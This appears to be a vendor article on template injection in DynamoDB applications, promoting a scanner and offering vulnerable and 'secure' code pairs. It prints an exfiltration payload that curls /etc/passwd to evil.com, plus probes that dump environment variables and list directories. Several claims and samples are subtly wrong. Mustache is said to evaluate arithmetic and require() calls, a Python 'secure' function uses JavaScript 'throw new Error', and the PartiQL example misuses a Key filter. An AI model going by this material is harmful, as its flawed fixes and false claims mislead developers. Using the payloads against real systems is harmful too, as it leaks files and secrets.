Server Side Template Injection in Dynamodb

Server Side Template Injection (SSTI) in DynamoDB environments occurs when user-controlled data flows through template rendering engines that interact with database operations. This vulnerability is particularly dangerous in serverless architectures where DynamoDB is commonly used as the primary data store.

The most common SSTI pattern in DynamoDB involves improper handling of template expressions that get evaluated during database operations. Consider a Node.js Lambda function using DynamoDB:

const AWS = require('aws-sdk');
const docClient = new AWS.DynamoDB.DocumentClient();

exports.handler = async (event) => {
  const template = require('mustache');
  const tableName = 'users';
  
  // User input from API Gateway
  const userId = event.pathParameters.userId;
  
  // Malicious payload: {{2*2}} gets evaluated to 4
  const unsafeQuery = template.render(`{
    "TableName": "users",
    "KeyConditionExpression": "userId = :id",
    "ExpressionAttributeValues": {
      ":id": "{{${userId}}}"
    }
  }`, { userId });
  
  const params = JSON.parse(unsafeQuery);
  const result = await docClient.query(params).promise();
  return result;
};

In this example, an attacker could supply a userId like {{2*2}} which would be evaluated by the Mustache template engine before being passed to DynamoDB. The template engine would resolve this to 4, potentially exposing data for user ID 4.

More sophisticated attacks involve template expressions that execute arbitrary code:

# Attack payload that could execute shell commands
{{require('child_process').execSync('curl -X POST http://evil.com/\`cat /etc/passwd\`)}}

When DynamoDB is used with template engines like Handlebars, EJS, or Jinja2 in Python, similar vulnerabilities emerge. The template engine processes expressions before the data reaches DynamoDB, creating an injection point that bypasses normal query validation.

Another common pattern involves DynamoDB's PartiQL queries combined with template rendering:

from boto3.dynamodb.conditions import Key
import jinja2

def get_user_by_id(user_id):
    template = jinja2.Template("SELECT * FROM users WHERE user_id = '{{ user_id }}'")
    query = template.render(user_id=user_id)
    
    # The template has already been evaluated
    dynamodb = boto3.resource('dynamodb')
    table = dynamodb.Table('users')
    response = table.scan(FilterExpression=Key('user_id').eq(query))
    return response['Items']

Here, template expressions in the user_id parameter get evaluated before the query executes, allowing attackers to manipulate the query logic.

Detecting SSTI in DynamoDB environments requires a multi-layered approach that examines both the application code and runtime behavior. middleBrick's black-box scanning approach is particularly effective for identifying these vulnerabilities without requiring source code access.

middleBrick scans for SSTI by testing template injection patterns across the 12 security checks it performs. For DynamoDB-specific detection, the scanner looks for:

• Unescaped template expressions in query parameters
• Dynamic table name construction vulnerabilities
• PartiQL query injection points
• Template engine usage in database operation contexts
• Unsafe consumption of user input in document paths

The scanner actively tests for SSTI by injecting template expressions into API parameters and analyzing the responses. For example, it might inject:

# Template injection test
{{7*7}} → expects 49 in response if vulnerable
{{require('fs').readdirSync('.')}}} → attempts code execution
{{process.env}} → tries to expose environment variables

middleBrick's LLM/AI security checks add another layer of detection for SSTI in AI-powered applications that use DynamoDB. These checks include:

// System prompt leakage detection
const prompts = [
  '{
    "system": "{{user_input}}",
    "user": "Query the database"
  }',
  '{
    "prompt": "{{malicious_expression}}",
    "context": "DynamoDB data"
  }'
];

For code-based detection, static analysis tools should look for patterns like:

# Vulnerable patterns to flag
import jinja2
import mustache
import handlebars

# Dynamic template rendering with user input
query = template.render(user_input)
db.execute(query)  # Dangerous!

Runtime detection involves monitoring for unusual query patterns, unexpected template evaluation results, and anomalous database access patterns that might indicate successful SSTI exploitation.

Remediating SSTI in DynamoDB applications requires a defense-in-depth approach that eliminates template evaluation vulnerabilities and properly validates all user input before database operations.

The first and most critical remediation is to eliminate template engines from database operation contexts entirely. Instead of template rendering, use parameterized queries and proper data binding:

// Vulnerable pattern - DO NOT USE
const template = require('mustache');
const unsafeQuery = template.render(`{
  "TableName": "users",
  "KeyConditionExpression": "userId = :id",
  "ExpressionAttributeValues": {
    ":id": "{{${userId}}}"
  }
}`, { userId });

// Secure pattern - USE THIS
const params = {
  TableName: 'users',
  KeyConditionExpression: 'userId = :id',
  ExpressionAttributeValues: {
    ':id': userId
  }
};
const result = await docClient.query(params).promise();

For Python applications using boto3, the remediation follows similar principles:

# Vulnerable - DO NOT USE
import jinja2
from boto3.dynamodb.conditions import Key

def get_user_by_id(user_id):
    template = jinja2.Template("SELECT * FROM users WHERE user_id = '{{ user_id }}'")
    query = template.render(user_id=user_id)
    
    dynamodb = boto3.resource('dynamodb')
    table = dynamodb.Table('users')
    response = table.scan(FilterExpression=Key('user_id').eq(query))
    return response['Items']

# Secure - USE THIS
def get_user_by_id(user_id):
    dynamodb = boto3.resource('dynamodb')
    table = dynamodb.Table('users')
    
    # Validate input type and format
    if not isinstance(user_id, str) or not user_id.isalnum():
        throw new Error('Invalid user ID format');
    
    response = table.get_item(
        Key={
            'user_id': user_id
        }
    )
    return response.get('Item')

Input validation is critical for SSTI prevention. Implement strict validation for all user inputs:

function validateUserId(userId) {
  // Only allow alphanumeric IDs of specific length
  const userIdPattern = /^[a-zA-Z0-9]{8,20}$/;
  return userIdPattern.test(userId);
}

// Use IAM policies to restrict DynamoDB access
const secureDynamoPolicy = {
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "dynamodb:GetItem",
        "dynamodb:Query",
        "dynamodb:Scan"
      ],
      "Resource": "arn:aws:dynamodb:REGION:ACCOUNT:table/users"
    }
  ]
};

For applications using PartiQL with template engines, switch to DynamoDB's native parameterized query capabilities:

# Vulnerable PartiQL with template injection
import jinja2

query_template = "SELECT * FROM users WHERE user_id = '{{ user_id }}'"
query = jinja2.Template(query_template).render(user_id=user_input)

# Secure PartiQL with parameter binding
query = "SELECT * FROM users WHERE user_id = ?"
response = table.execute_statement(
    Statement=query,
    Parameters=[user_input]  # Parameters are safely bound
)

Implement Content Security Policy headers and input sanitization to prevent template injection through HTTP headers or other metadata:

app.use((req, res, next) => {
  // Sanitize headers that might contain template expressions
  for (const [key, value] of Object.entries(req.headers)) {
    if (typeof value === 'string' && /{{.*}}/.test(value)) {
      return res.status(400).json({ error: 'Invalid request' });
    }
  }
  next();
});